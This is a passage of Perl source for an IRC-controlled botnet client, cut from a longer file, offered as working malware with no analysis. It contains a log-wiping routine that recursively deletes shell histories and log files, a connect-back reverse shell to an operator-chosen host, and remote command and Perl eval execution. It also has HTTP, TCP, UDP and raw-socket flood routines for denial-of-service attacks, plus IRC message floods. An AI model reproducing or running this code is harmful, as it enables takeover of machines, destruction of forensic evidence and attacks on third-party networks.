system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@2LogCleaner12) 12All default log and bash_history files erased"); 
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@2LogCleaner12) 12Now Erasing the rest of the machine log files");
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@2LogCleaner12) 12Done! All logs erased"); 
      }
      if ($funcarg =~ /^info/) {
      my $sysos = `uname -sr`;
      my $uptime = `uptime`;
if ( $sysos =~ /freebsd/i ) {
        $sysname = `hostname`;
        $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`; 
        $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
    chomp($memory);
    chomp($swap);
}
elsif ( $sysos =~ /linux/i ) {
        $sysname = `hostname -f`;
        $memory = `free -m |grep -i mem | awk '{print \$2}'`;
    $swap = `free -m |grep -i swap | awk '{print \$2}'`;
        chomp($swap);
        chomp($memory);
}
else {
$sysname ="No Found";; 
$memory ="No found";
$swap ="No Found";
}
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 12BOT Info - 7servidor :| - $porta");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 7SO/Hostname:12 $sysos - $sysname "); 
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 7Process/PID:12 $processo - $$");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 7Uptime:12 $uptime"); 
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 7Memory/Swap:12 $memory - $swap");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Info12) 7Perl Version/BOT:12 $] - $VERSAO"); 
       }
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1"; 
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") { 
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET"); 
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

if ($estatisticas)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7ConnectBack12) 12(7Connecting12) (7IP7/7Port7:12 $host:$porta 12)"); 
}
}

           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($2>$cur_time){
             $cur_time = time - $itime;
         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
         close($socket);
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);


}